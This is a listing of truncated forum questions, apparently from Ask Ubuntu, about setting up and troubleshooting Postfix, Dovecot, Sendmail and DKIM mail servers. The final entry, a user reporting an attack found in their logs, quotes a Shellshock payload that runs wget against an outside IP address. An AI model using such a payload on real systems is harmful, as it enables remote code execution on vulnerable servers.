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Running both sendmail and postfix on Ubuntu

I have a requirement to use both Sendmail (MTA) and Postfix on a mailserver. This is because many of the legacy sendmail.mc rules cannot be migrated to postfix and provide high performance. So I ...
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Postfix cannot resolve local IPs from Name Server

I currently have a server running "Ubuntu Server 12.04.1 LTS" installed with Postfix Bind 9 (Slave) The postfix cannot seem to resolve my internal IPs to Name Server (PTR) entry I have within ...
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Setting up postfix

I am trying to setup mail server on my Amazon EC2 following this guide. But when I came by step 12, I ran into a problem, that it does not seems to have 250-mail.domain.com in the ehlo-result? Which ...
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How to install cluebringer on 14.04

I've done an install of Ubuntu 14.04 on a system which will act as a mail server. One of the bits I want to install is "Cluebringer" policy daemon. I can see there are postfix-cluebringer packages, ...
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Need help with Postfix canonical mapping

I’m having difficulty getting the canonical_maps function to work as needed to repair some incorrect addresses from a legacy client. Here’s the situation and what I’ve tried so far: Legacy client ...
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Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...
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Configuring sendmail for several domain names

So here's the problem: I have a webserver that's currently serving quite a number of different domain names as virtual hosts for apache. Lets say the default domain is defaultdomain.com When I use ...
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No login possible with postfix/dovecot and mysql under IMAP

I did the following installation of my own mailserver with dovecot/postfix and MySQL: https://thomas-leister.de/internet/mailserver-ubuntu-server-dovecot-postfix-mysql/ If you see the section of ...
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Postfix and Ownclound mysql authentication

i'm using ubuntu 12.04 with roundcube/postfix and owncloud installed, and using mysql as login authentication. i would like to know if it's possible to make single login for these apps (without LDAP) ...
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SMTP mail server with postfix/dovecot does not require authentication

I have a mail server with postfix and dovecot with which I'm able to receive mail at my email address. When I'm connecting from a remote mail client via POP3 it is saying authentication failed even ...
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How to set 'reply-to' to sender's address when using forward

I am using postfix with virtual mailboxes (mysql), and I successfully setup a "mailing list" by creating a forward that sends copies of a given e-mail to multiple recipients. Now, when the e-mail is ...
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Postfix/SSL/Dovecote - can't send email

I know this looks similar to other questions on this forum, but they don't seem to be the same core problem as the one I'm experiencing. I'm running Ubunto 14.04 LTS, and I have postfix, dovecote ...
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Simple Linux mailserver for sending “notification” emails

I am looking to set up a simple postfix server on Ubuntu server 12.04 to use for "notifications" from simple equipment like UPS devices. My company is moving to an external hosted provider for our ...
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12.04 Opendkim no key found

Setup Postfix and Dovecot with OpenDKIM. I am not getting key found. Below are the postconf and opendkim file configs. postconf -n root@mysite:~# postconf -n alias_database = hash:/etc/aliases ...
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Ubuntu with postfix and virtual users

I have ubuntu server with postfix, dovecot and virtual users. Now I am tring to filter mails with procmail, but the rules on procmailrc are not working. Anybody have some steps to do work the mail ...
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SASL authentication failure: Password verification failed SASL+PAM

I'm banging my head over this for past 4 hours, and I cannot crack it! Google turns out allot of issues related to SASL authentication failure: Password verification failed but none helped. ...
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How do I use postfix to send outgoing email?

I am trying to set up postfix as an outgoing mail server for my domain. Mainly I need postfix to run as a server to simply send outgoing mail for some CMS software on the site (e.g.: user ...
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Installing and maintaining email server

Until now, I've been using managed shared hosting, but recently I've been seriously considering moving everything to a VPS, such as Linode. The one thing that has me really hesitating is that I must ...
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Setting up Postfix with Apache Virtual Hosts?

So, I was trying to setup multiple Apache Virtual Hosts. Everything was O.K, LAMP worked fine except for one and big problem: Postfix. I have two domains. And two PHP/MySQL applications running on ...
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Postfix mail for mydomain.com loops back to myself Problem

I'm using vps server with ubuntu 10.04 when i send email to Gmail it's ok but for Hotmail fails, i check my logs i find this: Mar 19 18:09:01 mail postfix/smtp[6340]: 8FAF722294: ...
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Postfix master.lock: permission denied

I'm triyng setup the postfix, but with no success. I am using webmin to configure. my problem is that postfix won't start, always with the same message: Mar 19 19:21:13 site ...
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How to add “Reply-To” header to forwarded e-mails with Postfix

I use a virtual alias to create a simple distribution list to make communication easier within our group. I'd like to add a "Reply-To" header to e-mails being forwarded through the virtual alias, ...
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Postfix/dovecot mail server can send/receive local, but can't send on remote

I'm having an issue which I noticed much too late.. Apparently when I'm in my mailbox local, thus on the VPS machine itself, I can receive and send mail. However, when I open my mailbox in any mail ...
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Dovecot imap connection closed by remote host

I have setup postfix and dovecot on my ubuntu 14.04 on a digitalocean droplet. When I telnet to my localhost on imap, I get the output below, can anyone help me.. telnet 127.0.0.1 143 Trying ...
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Error on login to Usermin

I tried logging in into usermin and I get this error Failed to login to IMAP server : [AUTHENTICATIONFAILED] Authentication failed. This is an output of my dovecot -n '#2.2.9: ...
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DOVECOT: Access denied

I am trying to set up a mail server following this tutorial: http://www.starbridge.org/spip/spip.php?article12#dovecot-sasl-lda-imap-et-sieve I cannot receive emails on my email client (thunderbird). ...
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Can send mail, but not receive mail. What's going wrong?

I created a new server with Ubuntu 14.04 on it and set everything like I had on my previous server (nothing strange or different as it should) (12.04), but strangely.. I cannot receive mail. A few ...
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Postfix and mailutils problem

I set up postfix (I can receive and send mail, they are stored in /root/Maildir/ for root user), but now when I try to read mail he say that there are no mail for root (ith mail command). I tried to ...
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INSTALLING POSTFIX: VDA patch

I am trying to install the VDA POSTFIX patch on a server (http://vda.sourceforge.net/) without success. I downloaded it: wget http://vda.sourceforge.net/VDA/postfix-vda-v13-2.10.0.patch cd ...
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Ubuntu14 dns+roundcube issue

I'm on a configuration of a mail server with dovecot and roundcube. When I try to log into roundcube panel a message box says: error connection to storage DESCRIPTION: (eth0 192.168.1.1) static ...
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Problem configuring postfix

I have had postfix running on a gentoo server, but configuration files are very different on ubuntu, and I have two problems that don't seem related to me. If I sent mail (using Thunderbird) to ...
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Why does this fail to make my postfix configuration step non-interactive?

I have a bash script to automate configuration of new Ubuntu systems. It works, except that postfix's process installation persists in bringing up a menu-based interface. I followed the answer given ...
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How can I migrate my existing mailboxes from sendmail to Postfix?

I am currently using sendmail + Webmail, which was configured by someone else and I was trying to understand the configurations of sendmail but it looks pretty tough for me. I want to use Postfix ...
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Now after upgrade from 12.04.5 LTS to 14.04.1 LTS Dovecot will not authen. system users

I've had 12.04.5 LTS with Postfix and Dovecot working for a long time now, but now after upgrading to 14.04.1 LTS Dovecot will not authenticate the system users. Dovecot will however work fine for ...
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Set up Postfix to send but not receive mail

I want to set up my web server (Ubuntu 14.04) so that I can use contact forms, forum email confirmations, etc. without having to go through Gmail or some other server. I don't want to receive emails, ...
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Accessing Virtual Mailboxes using Postifx, Dovecot, and Postgresql Ubuntu 12.04

Ok, so I'm running a server distro of Ubuntu, I think it's 12.04 (I know it's 12, forgot the subversion) with postfix as SMTP, dovecat for IMAP, and postgresql for my virtual mailbox databases. I ...
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Ubuntu 14.04 postfix install can receive, send from telnet, can't send from other local machines w/Thunderbird

I installed postfix using the instructions at http://flurdy.com/docs/postfix/ - I've set up systems on Ubuntu before using this and they worked good. This one, though, receives emails fine - I can ...
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Postfix - SMTP mail delivery failed with “Connection timed out” error

I have installed postfix mail server in ubuntu machine. I am facing some issues with the mail sending to other domain mail servers (Google, Yahoo, Outlook...). I am using virtual domain to send the ...
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How to configure postfix to replace the name of the sender to a configured one

I have postfix installed on my machine. I also use the generic maps to overwrite the email address from ubuntu to admin@mydomain.com: /etc/postfix/generic ubuntu admin@mydomain.com Now the ...
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Policysystem with quota for Postfix

I'm administrating an ubuntu-server which acts as webserver (nginx) and mailserver (postfix). The mailserver uses mandrillapp.com as relay. At the moment the webserver is hosting around 100 websites, ...
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Mail Server Issue

I have a domain example.com with its MX record pointed on lets say mail.bet-cool.com, Domain example.com is pointing to a certain VPS. While sending mail from VPS(Postfix without dovecot) to ...
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Segfault core dump with mailutils

Whenever I run the mail command or try to pipe something to mail on my Ubuntu 14.04 server, it outputs Segmentation fault (core dumped). This is the only program in which I've seen this issue occur, ...
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Unable to receive emails with postfix/dovecot

I am using Postfix and Dovecot on Ubuntu 12.04. I am able to send messages out to my Gmail address but unable to receive messages in. In system logs, messages show as sent to my inbox but the message ...
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Help configuring postfix locally

It's my first time configuring a mail server so I'm having some problems. The situation is this: I have 2 virtual machines (V1 and V2), both connected on the same network. The idea is that V1 send ...
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dkim and SPF ok, but domainkeys=neutral (no sig);

I just want to know how can I pass state "neutral" to "pass" for domainkeys=neutral (no sig); (And please don't answer: "dkim is used not domain keys")
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PHP not sending mail? Works on phone, and other applications

So I have an application (WHMCS) and it does not send mail. I get this error: PHPMailer Exception - SMTP Error: Could not authenticate. It uses PHPMailer, I get this error from it when it tries to ...
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i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot i am using pop3 port 110 and smtp port 587 i can send emails to external emails i can receive emails on the server ...
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DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
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Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
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Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...